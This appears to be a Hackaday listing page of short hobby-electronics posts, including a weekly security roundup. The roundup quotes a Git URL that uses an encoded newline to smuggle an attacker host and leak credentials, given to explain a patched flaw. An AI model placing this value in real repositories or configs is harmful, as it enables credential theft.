Getting Your Morning Mix Exactly Right, Every Time

April 17, 2020 by 8 Comments

In historical times, before the pandemic, most people had to commute to work in the mornings, and breakfast often ended up being a bit rushed. [Elite Worm] is very serious about getting his breakfast mix exactly right, and o shave a bit of time off the prep, he built a 3D printed automatic ingredient dispenser for his breakfast bowl.

[Elite Worm] breakfast consists of four ingredients, that have either a powder or granular consistency. They are held in 3D printed hoppers, with a screw top for refilling and a servo-operated door with a funnel at the bottom. The hoppers need to be shaken to properly dispense the ingredients, so all four are mounted on a bracket that can slide up and down on linear bearings. The shaking is done by a brushed DC motor with a slider-crank mechanism, which moves bracket and hoppers up and down very vigorously. [Elite Worm] notes that the shaking is probably a bit too violent and can make the entire table shake if it isn’t sturdy enough, and reducing the motor RPM might be a good idea. Below the hopper system sits a movable weighing station with a load cell, a custom ATmega328P based control board and a Nextion touch screen display, which allows for various ingredient combinations to be saved. The load cell is used to keep track of the ingredient quantities by weight, as they are dispensed one at a time.

We really like the ingenuity of the build, but personally, we would have swapped out the hopper for something that’s moulded, since all the crevices in 3D printed parts is a perfect place for bacteria to grow and can be tricky to clean properly Continue reading “Getting Your Morning Mix Exactly Right, Every Time” →

This Week In Security: Git, Patch Tuesday, Anti-Cheat, And Vulnerable Documentation

April 17, 2020 by 8 Comments

Git released an update on Tuesday, fixing an issue that could result in leaking credentials. The vulnerability was in how Git handles an HTTP URL containing a newline. Looking at the commits in 2.26.1, we can find an example of an attack:
url = "https://one.example.com?%0ahost=two.example.com/foo.git"

So doing a git pull against this repository will connect your git instance to an attacker’s server, but using the credentials from an arbitrary server. It seems like this could potentially be used to steal Github credentials, for instance. So go make sure you have an updated Git client.
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Dropping A Glider From 18,000 Feet

April 17, 2020 by 37 Comments

[Tarik and Kemal] have an objective in mind: to drop a home-made autonomous glider from a high-altitude balloon and safely return it to home. To motivate them, [Tarik] has decided not to cut his hair until they reach 18,000 feet. Given the ambition of their project, it isn’t surprising that his hair is getting rather long now.

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A Thermal Camera With A Vintage Twist

April 17, 2020 by 9 Comments

Nowadays we often value the superb design of vintage technology. It is, therefore, laudable when a broken piece of old electronics is given a new purpose. These types of builds are exactly [Martin Mander’s] cup of tea as he confirmed by turning a 1979 Apollo microwave monitor into a thermal camera (video embedded below).

Intrigued by its unique design, [Martin Mander] picked up the original microwave monitor at a secondhand sale, although the device was not exactly in mint condition. Supposedly this type of detector was used to monitor the exposure of personnel to microwave radiation in an industrial environment.

After removing all the guts, he replaced them with a Raspberry Pi Zero W, Adafruit thermal camera, 1.3″ TFT display, and a USB battery pack. It is especially nice that [Martin Mander] was able to mount all the components without relying on 3D prints but instead, he hand-carved some custom panels and brackets from waste plastic.

The software is based on Python and automatically uploads the captured images to an Adafruit.IO dashboard. With 8 x 8 pixels the resolution of the sensor is not great but by using bicubic interpolation he was able to convert it to a 32 x 32 image which was enough to take some interesting pictures of his cat and other household items.

It is also worthwhile to check out some of [Martin Manders] other retro-tech mods like his cassette Pi IoT scroller.

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Econet – Britain’s Early Educational Network

April 16, 2020 by 22 Comments

If you compare the early PC market for the US and the UK, you’ll notice one big difference. While many US schools had Apple computers, there were significant numbers of other computers in schools, as well. In the UK, pretty much every school that had a computer had an Acorn BBC Micro. [RetroBytes] takes us down memory lane, explaining how and why the schools went with Econet — an early network virtually unknown outside of the UK. You can see the video, which includes an interview with one of the Acorn engineers involved in Econet.

Nowadays, you don’t have to convince people of the value of a network, but back then it wasn’t a no brainer. The driver for most schools to adopt networking was to share a very expensive hard disk drive among computers. The network used RS-422, a common enough choice in Apple computers, spacecraft, and industrial control applications.

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The Three Shell Mystery Finally Solved!

April 16, 2020 by 9 Comments

While we certainly acknowledge the valuable contributions of the open hardware community that help to mitigate the coronavirus crisis, we are also looking forward to the days when people start going back to building other things than 3D-printed face shields, pandemic trackers, and automatic soap dispensers. However, this handwash timer by [Agis Wichert] is a very creative version that also tries to solve the long outstanding mystery of how to use the three seashells. Unfortunately, in contrast to those in the original movie, these three seashells do not replace toilet paper which many people are seemingly so desperate in need of at the moment.

The build is quite simple and requires only a few off-the-shelf components including a Neopixel strip, IR proximity sensor, and an Arduino Nano. The plastic seashells were taken from the classic German “Schleckmuschel” candy, thereby giving the project an extra retro twist. As shown in the video embedded below, the timer works by consecutively dimming the LEDs located under each seashell until the recommended duration of 20 seconds has elapsed which is indicated by shortly flashing all LEDs.

Handwash timer projects do not always have to be visual as this one playing your favorite Spotify tunes proves. What we really would like to see though is someone building a toilet paper dispenser that is triggered by swearwords.

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Automatic Timelapses, Made Educational And Easy

April 16, 2020 by 2 Comments
Timelapse fragment from an infrared sky camera watching cloud patterns.

There are plenty of ways to create timelapse videos, but [Andy] has an efficient method for ensuring up-to-date ones exist for his infrared sky camera, and he has it running thanks to some well-documented shell scripts on a spare Raspberry Pi. The resulting timelapse video is always available from the web, and always up-to-date for the current day.

The idea is to automatically fetch images from a remote source (in his case, an infrared sky camera) and turn them into a cumulative video that is regularly updated for the day in question. The resulting video file is either served from the same machine, or sent elsewhere. All that’s needed besides a source for the stills are two shell scripts and some common Linux utilities.

Since [Andy] is mainly interested in tracking clouds his system only runs during daylight hours, but it can be easily changed. In fact, [Andy]’s two shell scripts are great project resources, not only because they are easily modified and well documented, but because he doesn’t make assumptions about how well one might know the command line. He also provides tips from experience; for example he has found that a 120 second interval makes for the best timelapses.

[Andy] runs his scripts on an Raspberry Pi 4, but any Linux system will do. For those who might prefer a more embedded approach, the ESP32-CAM can make a great time lapse camera with remarkably little effort.